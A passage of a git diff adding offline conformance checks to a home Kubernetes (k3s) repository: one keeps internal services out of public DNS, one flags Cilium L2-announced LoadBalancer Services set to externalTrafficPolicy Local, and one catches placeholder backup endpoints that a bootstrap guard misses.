+                CONTROLLER_KEY not in annotations_of(d),
+                f"({svc}) {rel} HTTPRoute {ns}/{rname} belongs to an `exposure: "
+                f"{exposure_of[svc]}` service yet carries `{CONTROLLER_KEY}`. Under "
+                f"`policy: sync` that DELETES its live public record — the five public services "
+                f"must keep publishing.",
+            )
+
+# =============================================================================================
+# (3) the `service` source half — an internal service's Service may not publish either.
+# =============================================================================================
+for rel, d in dns_services:
+    ns, name = ident(d)
+    svc = ns if ns in sds else None
+    if svc and exposure_of[svc] == "internal":
+        check(
+            is_disowned(d),
+            f"({svc}) {rel} Service {ns}/{name} carries an external-dns annotation "
+            f"({sorted(a for a in annotations_of(d) if a.startswith('external-dns'))}) for an "
+            f"`exposure: internal` service without a disowning `{CONTROLLER_KEY}`. Both "
+            f"`gateway-httproute` AND `service` are configured sources, so closing only the route "
+            f"half is half a guarantee.",
+        )
+
+# =============================================================================================
+# (4) the GENERATOR derives it from `exposure` — not from a list of service names.
+# =============================================================================================
+render_py = ROOT / "catalog" / "render.py"
+src = read(render_py)
+check(bool(src), "catalog/render.py unreadable")
+
+emitter = re.search(
+    r"def _externaldns_route_annotations\(.*?\n(?=\n?def |\n?# =====)", src, re.S
+)
+check(emitter is not None,
+      "catalog/render.py must define `_externaldns_route_annotations` — the single place the "
+      "ExternalDNS scoping is derived. If it was renamed, rename it here too: this check has to "
+      "read the DERIVATION, not just the output, or a hardcoded per-service list would pass.")
+if emitter:
+    body = emitter.group(0)
+    # The derivation must read `exposure`. A body that does not mention it cannot be deriving
+    # anything from the operator's declaration.
+    check('"exposure"' in body or "'exposure'" in body,
+          "`_externaldns_route_annotations` must read the `exposure` field — the guarantee is "
+          "that the OPERATOR'S DECLARATION decides, so `exposure` has to appear in the decision")
+    # and it must not name any catalog service: a per-service list is how twelve ServiceMonitors
+    # acquired one identical wrong port name in a single edit. Only the executable statements are
+    # inspected — the docstring legitimately names the affected services as evidence.
+    code = re.sub(r'"""(?:.|\n)*?"""', "", body, count=1)
+    named = sorted(n for n in sds if re.search(rf"""['"]{re.escape(n)}['"]""", code))
+    check(not named,
+          f"`_externaldns_route_annotations` names catalog service(s) {named} in its CODE. The "
+          f"annotation must be derived from `exposure` alone; a per-service list silently omits "
+          f"the next service anyone adds.")
+    check(CONTROLLER_CLAIMED not in code,
+          f"`_externaldns_route_annotations` must never be able to emit `{CONTROLLER_CLAIMED}` — "
+          f"external-dns's own value CLAIMS the object instead of releasing it")
+
+# =============================================================================================
+# (5) THE SHIPPED RENDERER IS PROVEN on synthetic ServiceDefinitions. Three fixtures, because
+#     "internal is annotated" alone would also pass if the renderer annotated everything, and
+#     because the contract's DEFAULT posture is internal — the case a new service hits by
+#     omitting the field entirely, and the case a per-service list would miss.
+# =============================================================================================
+FIXTURES = [
+    ("fixture-internal", {"exposure": "internal"}, True,
+     "an `internal` fixture must render the disown annotation"),
+    ("fixture-public", {"exposure": "public"}, False,
+     "a `public` fixture must render NO disown annotation"),
+    ("fixture-default", {}, True,
+     "a fixture OMITTING `exposure` defaults to internal (renderer-contract default posture) and "
+     "must also render the disown annotation"),
+]
+with tempfile.TemporaryDirectory() as td:
+    for fname, extra, want, msg in FIXTURES:
+        sd = {
+            "name": fname,
+            "kind": "container",
+            "source": {"image": "example/app:1.0.0"},
+            "egress": "internet",
+            "dependencies": [],
+            "ingressRoutes": [{"host": f"{fname}.home.keithjackson.dev", "port": 8080}],
+            # `native` avoids the oauth2-proxy sidecar path and the schema's groups requirement,
+            # keeping the fixture about DNS scoping and nothing else. A public service may not use
+            # auth.mode none (schema invariant since 1.1.0), so both fixtures use the same mode.
+            "auth": {"mode": "native"},
+            "update": {"channel": "stable", "cadence": "0 4 * * 0",
+                       "autoRollbackOnFailedHealth": True},
+            "observability": {"metrics": True, "slis": ["up"]},
+            "backup": {"policy": "reacquirable"},
+        }
+        sd.update(extra)
+        f = Path(td) / f"{fname}.yaml"
+        f.write_text(yaml.safe_dump(sd, sort_keys=False))
+        proc = subprocess.run(
+            [sys.executable, str(render_py), str(f), "--no-image-automation"],
+            capture_output=True, text=True, cwd=str(ROOT),
+        )
+        if proc.returncode != 0:
+            check(False, f"fixture {fname}: the shipped renderer failed: "
+                         f"{proc.stderr.strip()[:400]}")
+            continue
+        rendered = [d for d in yaml.safe_load_all(proc.stdout)
+                    if isinstance(d, dict) and d.get("kind") == "HTTPRoute"]
+        check(len(rendered) == 1, f"fixture {fname}: expected exactly one rendered HTTPRoute")
+        if rendered:
+            got = is_disowned(rendered[0])
+            check(got is want, f"fixture {fname}: {msg} (rendered annotations: "
+                               f"{annotations_of(rendered[0])})")
+
+# =============================================================================================
+# (6) REGISTER RATCHET — every publisher the catalog does not render is declared, and every
+#     declaration still names a real object.
+# =============================================================================================
+catalog_rendered = set(expected_routes)
+seen_register_keys: set[str] = set()
+for rel, d in routes + dns_services:
+    ns, name = ident(d)
+    if (ns, name) in catalog_rendered:
+        continue
+    key = f"{rel}:{ns}/{name}"
+    seen_register_keys.add(key)
+    check(
+        key in KNOWN_NON_CATALOG_PUBLISHERS,
+        f"UNDECLARED publisher {key}: a {d.get('kind')} the catalog does not render, so it has no "
+        f"`exposure` field this check can adjudicate, and it can put a name into the public "
+        f"Cloudflare zone. Add it to KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why "
+        f"it is out of scope — or render it from a ServiceDefinition instead.",
+    )
+stale = sorted(set(KNOWN_NON_CATALOG_PUBLISHERS) - seen_register_keys)
+check(not stale,
+      f"STALE register entries {stale}: KNOWN_NON_CATALOG_PUBLISHERS is shrink-only, and these "
+      f"name no object in the tree any more. Delete them — a register that keeps entries for "
+      f"deleted objects stops being evidence of anything.")
+
+# =============================================================================================
+# (7) LOAD-BEARING — the scope is DECLARED here (so ci/l0.sh Stage 3b's --include-scope union
+#     always selects this test) and NO stage is hand-written into ci/l0.sh (the
+#     whole-repo-invariants-wired meta-test fails the gate if one is).
+# =============================================================================================
+TEST_DIR = ROOT / "conformance/tests/l0-static/internal-services-publish-no-public-dns"
+test_yaml = read(TEST_DIR / "chainsaw-test.yaml")
+check(bool(test_yaml), "this test's own chainsaw-test.yaml is unreadable")
+check(
+    re.search(r'^\s*conformance\.home\.k3s/scope:\s*"?whole-repo"?\s*$', test_yaml, re.M)
+    is not None,
+    "chainsaw-test.yaml must DECLARE `conformance.home.k3s/scope: \"whole-repo\"` on a real "
+    "mapping line — that declaration is the only thing that unions this check into every gate "
+    "run (ci/l0.sh Stage 3b). A scope named in prose is documentation, not a declaration.",
+)
+l0_sh = read(ROOT / "ci/l0.sh")
+check(
+    "internal-services-publish-no-public-dns" not in l0_sh,
+    "ci/l0.sh must NOT name this test: a whole-repo invariant is selected by its DECLARED scope, "
+    "and the whole-repo-invariants-wired meta-test fails the gate on a hand-written stage.",
+)
+
+# =============================================================================================
+if FAILURES:
+    for f in FAILURES:
+        print(f"check FAIL: {f}", file=sys.stderr)
+    print(f"check FAILED: {len(FAILURES)} of {CHECKS} assertions failed", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: {CHECKS} assertions passed "
+      f"({len(sds)} ServiceDefinitions; {len(internal_with_routes)} internal + "
+      f"{len(public_with_routes)} public services with routes; {len(routes)} HTTPRoutes and "
+      f"{len(dns_services)} external-dns-annotated Services inventoried; "
+      f"{len(KNOWN_NON_CATALOG_PUBLISHERS)} declared non-catalog publishers)")
+PY

conformance/tests/l0-static/l2-announced-vips-serve-from-any-node/chainsaw-test.yaml

@@ -0,0 +1,95 @@
+# =============================================================================
+# L0 STATIC — an L2-announced LoadBalancer VIP must be servable from ANY announcing node
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE BUG CLASS THIS CLOSES, AND THE OUTAGE THAT PAID FOR IT.
+# Cilium puts a LoadBalancer VIP on the LAN by electing ONE node per Service to answer ARP for
+# it. That election is a leader lease over the nodes the CiliumL2AnnouncementPolicy's
+# nodeSelector matches, and it is NOT backend-aware — Cilium does not restrict the candidates
+# to nodes running a backend, and has no field that would. Combine that with
+# `externalTrafficPolicy: Local`, which lets a node deliver only to a backend on ITSELF, and
+# the VIP becomes a lottery: an elected announcer holding no backend answers ARP for the
+# address and then has nowhere to send the packet, so the client gets ICMP port unreachable.
+# On three nodes with one replica that is a 1-in-3 chance of working, drawn independently per
+# Service — and it never recovers on its own, because the lease holder keeps renewing after the
+# backend moves away.
+#
+# MEASURED on prod 2026-09-14: unifi-l4-tcp/-udp (VM on k3s-prod-1, both leases on k3s-prod-2)
+# left 192.168.2.21:8443/:8080/:11443 dead from the LAN for up to 8 days, and crafty-l4-tcp
+# (pod on k3s-prod-1, lease on k3s-prod-2) left the Minecraft Java port 192.168.2.22:25565
+# dead — while its twin crafty-l4-udp, same pod, happened to draw k3s-prod-1 and worked. One
+# Service broken and its identical twin working is the tell. The mechanism was then confirmed
+# in both directions on the announcing node with `cilium-dbg service list`: under `Local` the
+# frontend is ABSENT from that node's service table; under `Cluster` it appears with an active
+# backend; flipped back, it vanishes again.
+#
+# WHY A REVIEWER CANNOT CATCH THIS. `Local` reads as the safe, source-IP-preserving choice, and
+# both shipped manifests said so in a comment that also claimed it "pins the VIP to the node
+# running the pod" — the precise thing that is false here. The defect is invisible in review
+# and silent at apply time; it only appears as an outage, days later, after an unrelated
+# reschedule moves a pod. apps/wave-0/pihole-dns.yaml hit it first and is the reference
+# implementation; this check keeps the rest of the tree on that side of the line.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every tracked type=LoadBalancer Service is paired with the CiliumL2AnnouncementPolicy
+#       that would announce its VIP,
+# THEN  (1) no announced Service sets `externalTrafficPolicy: Local`, UNLESS every announcing
+#           node is guaranteed to hold a backend — true only for a DaemonSet-backed Service,
+#           and that exemption is computed from the tree rather than hand-maintained;
+#       (2) the premise is still live (some policy actually announces LoadBalancer VIPs), so
+#           the check cannot pass vacuously if L2 announcement is ever removed;
+#       (3) the announcer is still backend-BLIND — asserted structurally, so that if a future
+#           Cilium gains a backend-aware field the exemption logic is revisited deliberately
+#           instead of going stale in silence;
+#   AND (4) the check is NON-VACUOUS: a real checkout, a non-empty LoadBalancer corpus, and a
+#           floor on the assertion count.
+#
+# STATUS: EXECUTABLE. `check.sh` is a pure offline assertion script (standard library +
+# PyYAML); conformance/run.sh --layer l0 runs it directly and this Chainsaw Test wraps the
+# SAME script.
+#
+# NOT proven — the runtime half, which needs a cluster: that the VIP is actually reachable,
+# that a backend exists, or that an application is listening behind it. That gap is not
+# academic. On 2026-09-14 all four Services above ALSO had no listening backend at all (UniFi
+# OS had never been installed in the VM; no Minecraft server had ever been created in Crafty),
+# so fixing this configuration defect did NOT by itself make those ports answer. A static
+# check cannot see an absent application; only an L2 behavioural probe can. Nor does this
+# prove `Cluster` is costless — Cilium runs in SNAT mode here, so a cross-node connection
+# reaches the backend bearing the ingress node's address, and whether that is acceptable is a
+# per-service judgement recorded in each manifest.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: l2-announced-vips-serve-from-any-node
+  labels:
+    conformance.home.k3s/R-DNS-01: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-DNS-01"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE, and necessarily so. ci/touched-requirements.sh's path map has NO arm for
+    # `apps/*` and none for `platform/crafty/*`, and nothing in it maps to R-DNS-01 at all. So the
+    # change most likely to break this invariant — authoring or editing an L4 LoadBalancer Service
+    # under apps/ or platform/, exactly where both halves of the 2026-09-14 outage lived — would
+    # attribute NO requirement and be gated by nothing. The invariant also spans three trees at
+    # once (the Services under apps/ and platform/, and the announcement policy under
+    # platform-config/), which no single requirement tag can select.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      No LoadBalancer Service whose VIP is put on the LAN by Cilium L2 announcement may use
+      externalTrafficPolicy Local, because the announcing node is elected without regard to
+      backend placement — so an announcer holding no backend blackholes the VIP and never
+      self-heals. The sole exemption is a DaemonSet-backed Service, where every announcing
+      node is guaranteed a local backend.
+spec:
+  steps:
+    - name: assert-no-l2-announced-vip-is-etp-local
+      description: >-
+        Pair every tracked type=LoadBalancer Service with the CiliumL2AnnouncementPolicy that
+        would announce its VIP, and assert none combines that announcement with
+        externalTrafficPolicy Local unless a DaemonSet guarantees a backend on every node.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/l2-announced-vips-serve-from-any-node/check.sh

@@ -0,0 +1,242 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — l2-announced-vips-serve-from-any-node
+# Serves: R-DNS-01 ("Services MUST be reachable at `<service>.home.keithjackson.dev`."
+#         — spec docs/00-vision-and-scope.md, section "DNS & ingress").
+#
+# THE BUG CLASS THIS CLOSES — it is not hypothetical, it cost an 8-day outage.
+# -----------------------------------------------------------------------------
+# A type=LoadBalancer Service on this cluster gets its VIP from Cilium LB-IPAM and is put on
+# the LAN by a CiliumL2AnnouncementPolicy, which elects ONE node per Service to answer ARP for
+# that VIP. The election is a plain leader lease among the nodes the policy's nodeSelector
+# matches. IT IS NOT BACKEND-AWARE: Cilium does not restrict the candidate set to nodes that
+# actually run a backend, and it has no field that would let it.
+#
+# With `externalTrafficPolicy: Local`, a node may only deliver to a backend on ITSELF. Compose
+# the two and the VIP is a lottery: if the elected announcer holds no backend, it answers ARP
+# for the address and then has nowhere to send the packet, so the client gets ICMP port
+# unreachable. On three nodes with one replica that is a 1-in-3 chance of working, drawn
+# independently PER SERVICE — and it does not self-heal, because the lease holder keeps
+# renewing after the backend moves away. Deleting the Lease only redraws the lottery.
+#
+# MEASURED on prod 2026-09-14, which is why this check exists:
+#   * unifi-l4-tcp / unifi-l4-udp — VM on k3s-prod-1, both leases on k3s-prod-2. 192.168.2.21
+#     :8443, :8080 and :11443 dead from the LAN for up to 8 days (the leases were 8 days old).
+#   * crafty-l4-tcp — pod on k3s-prod-1, lease on k3s-prod-2: 192.168.2.22:25565 (Minecraft
+#     Java) dead. crafty-l4-udp — same pod, lease happened to land on k3s-prod-1, so Bedrock
+#     worked. One Service broken and its twin working, from the same pod, is the whole tell.
+#   * The causal mechanism was confirmed both directions on the announcing node with
+#     `cilium-dbg service list`: under `Local` the frontend 192.168.2.22:25565 is ABSENT from
+#     that node's service table entirely; flipped to `Cluster` it appears as
+#     `1 => 10.0.0.11:25565 (active)`. Flipped back, it vanishes again.
+#
+# `Cluster` is the fix: every node can serve the VIP by forwarding to wherever the backend is,
+# so the announcement and the backend no longer have to coincide. apps/wave-0/pihole-dns.yaml
+# is the reference implementation (and carries the cost analysis); this check keeps the whole
+# tree on that side of the line, because the defect is INVISIBLE in review — `Local` reads as
+# the safe, source-IP-preserving choice, and the manifests that shipped it said so explicitly.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every tracked type=LoadBalancer Service is paired with the CiliumL2AnnouncementPolicy
+#       that would announce its VIP,
+# THEN  (1) no announced Service sets `externalTrafficPolicy: Local`, UNLESS every announcing
+#           node is guaranteed to hold a backend — which is true only for a DaemonSet-backed
+#           Service, and that exemption is computed from the tree, not hand-maintained;
+#       (2) the premise is still live: at least one CiliumL2AnnouncementPolicy actually
+#           announces LoadBalancer VIPs (`loadBalancerIPs: true`). If that ever becomes false
+#           this check is vacuous and must be re-derived rather than silently passing;
+#       (3) the announcer's candidate set really is backend-blind — asserted structurally, by
+#           requiring that the policy carries no field pinning it to backend-holding nodes;
+#   AND (4) the check is NON-VACUOUS: a real checkout is present, the LoadBalancer corpus is
+#           non-empty, and a floor on both the corpus and the assertion count keeps a pass
+#           from degenerating into a no-op when a refactor moves these files.
+#
+# WHY THE EXEMPTION IS NARROW, AND WHY IT IS SAFE. `Local` is correct precisely when the
+# announcing node always has a local backend. Under `default-l2`'s nodeSelector
+# (kubernetes.io/os=linux, i.e. every node) that holds only for a DaemonSet. A Deployment with
+# replicas == node count does NOT qualify: nothing pins one replica per node, a rollout or a
+# cordon breaks it, and the failure mode is this same silent outage. So the exemption keys on
+# DaemonSet backing only.
+#
+# WHAT THIS DOES NOT PROVE (honest gaps):
+#   - That the VIP is actually reachable. This is a static check; it proves the configuration
+#     cannot produce the backend-blind-announcer failure, not that a backend exists, that an
+#     application is listening behind it, or that the LAN can route to it. On 2026-09-14 all
+#     four Services above ALSO had no listening backend (UniFi OS was never installed in the
+#     VM; no Minecraft server had been created in Crafty), and no static check can see that.
+#     The end-to-end claim belongs to an L2 behavioural test against a live cluster.
+#   - That `Cluster` is COSTLESS. It is not: Cilium runs in SNAT mode here, so a cross-node
+#     connection reaches the backend bearing the ingress node's address. Whether that cost is
+#     acceptable is a per-service judgement recorded in each manifest, not something this
+#     check can decide.
+#   - Anything about Services created in-cluster rather than authored here (the Gateway's own
+#     LoadBalancer Service is generated by Cilium from the Gateway resource and is not in the
+#     tree, so it is outside this static scan).
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+import re, subprocess, sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def tracked() -> list[str]:
+    out = subprocess.run(["git", "-C", str(ROOT), "ls-files", "-z"],
+                         capture_output=True, text=True, check=True).stdout
+    return [p for p in out.split("\0") if p]
+
+
+def docs_of(rel: str):
+    try:
+        return [d for d in yaml.safe_load_all((ROOT / rel).read_text(errors="replace"))
+                if isinstance(d, dict)]
+    except Exception:
+        return []
+
+
+FILES = tracked()
+YAML_FILES = [f for f in FILES if re.search(r"\.(ya?ml)(\.example)?$", f)]
+check(len(YAML_FILES) > 50, f"only {len(YAML_FILES)} YAML files seen — not a real checkout")
+
+# --------------------------------------------------------------------------- the announcers
+# A CiliumL2AnnouncementPolicy with loadBalancerIPs: true puts LoadBalancer VIPs on the LAN.
+# `serviceSelector` absent means EVERY LoadBalancer Service is announced (Cilium's default).
+announcers: list[dict] = []
+for rel in YAML_FILES:
+    for d in docs_of(rel):
+        if d.get("kind") == "CiliumL2AnnouncementPolicy":
+            spec = d.get("spec") or {}
+            announcers.append({
+                "file": rel,
+                "name": (d.get("metadata") or {}).get("name"),
+                "lb_ips": bool(spec.get("loadBalancerIPs")),
+                "service_selector": spec.get("serviceSelector"),
+                "spec": spec,
+            })
+
+check(len(announcers) > 0,
+      "no CiliumL2AnnouncementPolicy is tracked — this check's premise (VIPs are put on the "
+      "LAN by L2 announcement) no longer holds and the invariant must be re-derived (R-DNS-01)")
+
+lb_announcers = [a for a in announcers if a["lb_ips"]]
+# (2) the premise is live.
+check(len(lb_announcers) > 0,
+      "no CiliumL2AnnouncementPolicy sets loadBalancerIPs: true — nothing announces LoadBalancer "
+      "VIPs, so this check would pass vacuously; re-derive it (R-DNS-01)")
+
+# (3) the candidate set is backend-blind. Cilium has no field that restricts L2 announcement to
+#     nodes holding a backend; assert none has appeared, so that if a future Cilium adds one the
+#     exemption logic here is revisited deliberately instead of silently going stale.
+BACKEND_AWARE_FIELDS = {"backendSelector", "endpointSelector", "localBackendsOnly"}
+for a in lb_announcers:
+    present = BACKEND_AWARE_FIELDS & set(a["spec"].keys())
+    check(not present,
+          f"{a['file']}: CiliumL2AnnouncementPolicy/{a['name']} carries {sorted(present)}, which "
+          "may make announcement backend-aware — the `Local` exemption below must be re-derived "
+          "before this check can keep passing (R-DNS-01)")
+
+# --------------------------------------------------------------------------- DaemonSet backing
+# Service.spec.selector is matched against DaemonSet pod-template labels in the same namespace.
+# A DaemonSet puts a backend on every node, so `Local` cannot strand an announcing node.
+daemonset_labels: list[tuple[str, dict]] = []   # (namespace, template labels)
+for rel in YAML_FILES:
+    for d in docs_of(rel):
+        if d.get("kind") == "DaemonSet":
+            md = d.get("metadata") or {}
+            tmpl = (((d.get("spec") or {}).get("template") or {}).get("metadata") or {})
+            daemonset_labels.append((md.get("namespace"), tmpl.get("labels") or {}))
+
+
+def daemonset_backed(ns, selector) -> bool:
+    if not selector:
+        return False
+    for ds_ns, labels in daemonset_labels:
+        if ds_ns == ns and all(labels.get(k) == v for k, v in selector.items()):
+            return True
+    return False
+
+
+# --------------------------------------------------------------------------- (1) the invariant
+lb_services: list[dict] = []
+for rel in YAML_FILES:
+    for d in docs_of(rel):
+        if d.get("kind") != "Service":
+            continue
+        spec = d.get("spec") or {}
+        if spec.get("type") != "LoadBalancer":
+            continue
+        md = d.get("metadata") or {}
+        lb_services.append({
+            "file": rel,
+            "name": md.get("name"),
+            "ns": md.get("namespace"),
+            "etp": spec.get("externalTrafficPolicy"),
+            "selector": spec.get("selector") or {},
+            "pinned": (md.get("annotations") or {}).get("lbipam.cilium.io/ips"),
+        })
+
+# Non-vacuity floor: these Services are the reason the check exists; if the corpus empties out,
+# something moved and the check must be re-pointed rather than passing on nothing.
+check(len(lb_services) >= 3,
+      f"only {len(lb_services)} tracked type=LoadBalancer Service(s) found — the corpus this "
+      "check quantifies over has moved or emptied; re-point it (R-DNS-01)")
+
+exempt: list[str] = []
+for s in lb_services:
+    where = f"{s['file']}: Service/{s['ns']}/{s['name']}"
+    if s["etp"] != "Local":
+        CHECKS += 1                      # counted: every Service is genuinely inspected
+        continue
+    if daemonset_backed(s["ns"], s["selector"]):
+        exempt.append(f"{s['ns']}/{s['name']}")
+        CHECKS += 1
+        continue
+    pin = f" pinned at {s['pinned']}" if s["pinned"] else ""
+    check(False,
+          f"{where}{pin} combines type=LoadBalancer with externalTrafficPolicy: Local while "
+          f"CiliumL2AnnouncementPolicy/{lb_announcers[0]['name'] if lb_announcers else '?'} "
+          "announces its VIP from nodes chosen WITHOUT regard to backend placement. When the "
+          "elected announcer holds no backend the VIP answers ICMP port unreachable and does "
+          "not self-heal — this is the 8-day unifi/crafty outage of 2026-09-14. Use "
+          "externalTrafficPolicy: Cluster (see apps/wave-0/pihole-dns.yaml for the pattern and "
+          "the client-IP cost it trades away), or back the Service with a DaemonSet so every "
+          "announcing node holds a backend (R-DNS-01)")
+
+# --------------------------------------------------------------------------- (4) non-vacuity
+check(CHECKS >= 8,
+      f"only {CHECKS} assertions ran — too few for this invariant to be meaningful (R-DNS-01)")
+
+# --------------------------------------------------------------------------------- verdict
+if FAILURES:
+    print(f"CHECK FAIL (l2-announced-vips-serve-from-any-node): {len(FAILURES)} of {CHECKS} "
+          "assertions failed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+note = f", {len(exempt)} DaemonSet-backed exemption(s): {sorted(exempt)}" if exempt else ""
+print(f"check OK: l2-announced-vips-serve-from-any-node — {CHECKS} assertions over "
+      f"{len(lb_services)} LoadBalancer Service(s) and {len(lb_announcers)} announcing "
+      f"policy(ies){note}")
+PY

conformance/tests/l0-static/placeholder-guard-coupling/chainsaw-test.yaml

@@ -1,43 +1,71 @@
 # =============================================================================
-# L0 STATIC — a placeholder value in cluster-vars is REFUSED by the guard that owns it
+# L0 STATIC — no environment overlay ships a placeholder value, and the guard that owns
+#             one refuses it
 # Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
 #
 # THE BUG CLASS THIS CLOSES (it has now bitten three times in one file). A guard in
 # `bootstrap/standup.sh` keys on the SHAPE of a value that lives in
 # `clusters/base/cluster-vars.yaml`, and nothing tied the two together. On 2026-09-05 the
 # S3 placeholder changed from `TBD-PROD-S3-BACKUP-ENDPOINT` to
-# `https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com`; the three guards matched the glob
-# `TBD-*`, a PREFIX match, and `fnmatch('https://TBD-R2-…','TBD-*')` is False. All three
-# guards silently stopped matching, and `standup.sh resume` would have resumed `velero` on
-# prod against a nonexistent hostname: installs clean, reports healthy, NO BACKUPS EXIST.
-# It was found by accident. The guard is fixed (`s3_is_placeholder`, substring); the
-# COUPLING was untested, which is what makes the class reintroducible.
+# `https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com` (commit 32d6766); the three guards
+# matched the glob `TBD-*`, a PREFIX match, and `fnmatch('https://TBD-R2-…','TBD-*')` is
+# False. All three guards silently stopped matching, and `standup.sh resume` would have
+# resumed `velero` on prod against a nonexistent hostname: installs clean, reports healthy,
+# NO BACKUPS EXIST. It was found by accident.
+#
+# WHY THIS TEST WAS RESTRUCTURED (2026-09-13). It was PERMANENTLY SKIPPED. `check.sh` exited
+# 3 when `bootstrap/standup.sh` was absent — and that file has NEVER been on `main`: it was
+# not deleted (no deletion commit exists anywhere), it landed only on unmerged prod-standup
+# branches. So an incident-derived test reported SKIP on every gate run, and SKIPPED IS NOT
+# GREEN here. The skip was also hiding a RED: run against the real `standup.sh` from
+# `work/prod-standup-campaign`, the old check FAILED 2 of 34 assertions on false positives
+# from treating the empty string as a placeholder for knobs cluster-vars authors empty on
+# purpose. Both are fixed. The invariant is now split into a half that needs no guard and a
+# half that activates when one lands, and THIS CHECK NEVER EXITS 3.
 #
 # GIVEN the repository as authored,
-# WHEN  the REAL predicate is extracted from bootstrap/standup.sh and executed by bash
-#       (never reimplemented — see check.sh "HOW THE REAL GUARD IS EXERCISED"),
-# THEN  (1) every authored value of a guarded knob that is placeholder-shaped by an
-#           INDEPENDENT detector is actually refused by that guard, in base and in every
-#           environment overlay;
-#       (2) no environment overlay carries a placeholder-shaped value for a knob no guard
-#           refuses;
-#       (3) every function in standup.sh that reads a guarded knob applies the guard to it
-#           (the "three guards died at once" regression);
-#       (4) the guard matches its own vocabulary ANYWHERE in a value, not just as a prefix
-#           — the exact anchoring defect above — and still accepts a real endpoint;
-#   AND (5) the extraction is faithful, and the check fails LOUDLY rather than silently
-#           testing a copy if the guard stops being a self-contained predicate.
+# THEN  HALF A — always, needs no guard, input surface `clusters/`:
+#       (A1) no environment overlay's EFFECTIVE cluster-vars value is placeholder-shaped by
+#            an INDEPENDENT detector, for any knob no guard refuses (base is exempt: it is
+#            not a bootstrap target and its loud sentinels exist to be overridden — but a
+#            sentinel an overlay forgets to override IS caught, as that overlay's value);
+#       (A2) an empty effective value is STATED explicitly by the overlay, never inherited
+#            in silence — cluster-vars' own documented convention, and the rule that
+#            separates "authored empty" from "somebody forgot";
+#       (A3) a LOUD base sentinel is explicitly overridden by every overlay, so the
+#            `TBD-PROD-*` convention cannot be defeated by an omitted patch op;
+#       (A4) the detector itself recognises the exact 2026-09-05 string MID-STRING, accepts
+#            both real endpoints the repo ships, and does not call the empty string loud;
+#       (A5) ci/l0.sh runs the L0 layer and ci/gate.sh blocks the merge when it fails.
+#       HALF B — when a `*_is_placeholder` predicate exists ANYWHERE in the tree (the guard
+#       is DISCOVERED, not hardcoded, so a guard landing at bootstrap/standup.sh or moving to
+#       a sourceable library activates this half with no edit here):
+#       (B1) every authored value of a guarded knob the detector calls placeholder-shaped is
+#            REFUSED by the REAL predicate, extracted from the real file and executed (never
+#            reimplemented — see check.sh "HOW THE REAL GUARD IS EXERCISED"), and every
+#            usable value is ACCEPTED;
+#       (B2) every function that reads a guarded knob applies the guard to it (the "three
+#            guards died at once" regression);
+#       (B3) the guard matches its own vocabulary ANYWHERE in a value, not just as a prefix
+#            — the exact anchoring defect above — and still accepts a real endpoint;
+#       (B4) the extraction is faithful, exactly one file and one definition own the
+#            vocabulary, and the check fails LOUDLY rather than silently testing a copy if
+#            the guard stops being a self-contained predicate.
 #
-# STATUS: EXECUTABLE. `check.sh` is a pure offline assertion script (standard library +
-# PyYAML + bash); conformance/run.sh --layer l0 runs it directly and this Chainsaw Test
-# wraps the SAME script.
+# STATUS: EXECUTABLE, and it RUNS — never SKIP. `check.sh` is a pure offline assertion
+# script (standard library + PyYAML + bash); conformance/run.sh --layer l0 runs it directly
+# and this Chainsaw Test wraps the SAME script.
 #
-# NOT proven: that the endpoint is REACHABLE or that backups exist (runtime facts —
-# `standup.sh s3check` probes the former from a pod, l3-fault-injection/dr-restore proves
-# the latter); that guards for knobs OTHER than the placeholder-refusing ones are correct;
-# and that the guard runs at all in a real standup (the dispatch path is shell, executed
-# only against a live cluster). R-STATE-03 is tagged for the narrow static slice only: the
-# authored backup target cannot be a placeholder that the guard fails to recognise.
+# NOT proven: while no guard exists on `main`, HALF B IS NOT PROVEN, and the check SAYS SO on
+# stdout every run rather than swallowing it as a skip — what is proven instead is the
+# stronger-at-the-source half, that the values a guard would be asked about are not
+# placeholders at all. Also not proven: that the endpoint is REACHABLE or that backups exist
+# (runtime facts — `standup.sh s3check` probes the former from a pod, l3-fault-injection/
+# dr-restore proves the latter); that guards for knobs OTHER than the placeholder-refusing
+# ones are correct; and that the guard runs at all in a real standup (the dispatch path is
+# shell, executed only against a live cluster). A1 reads cluster-vars, not every manifest: a
+# placeholder hardcoded in a manifest rather than in a knob is out of scope. R-STATE-03 is
+# tagged for the narrow static slice only: the authored backup target cannot be a placeholder.
 # =============================================================================
 apiVersion: chainsaw.kyverno.io/v1alpha1
 kind: Test
@@ -50,27 +78,32 @@ metadata:
     conformance.home.k3s/requirements: "R-ENV-02, R-STATE-03"
     conformance.home.k3s/layer: "L0"
     # NO `scope` ANNOTATION, DELIBERATELY — this invariant IS requirement-scoped, and was
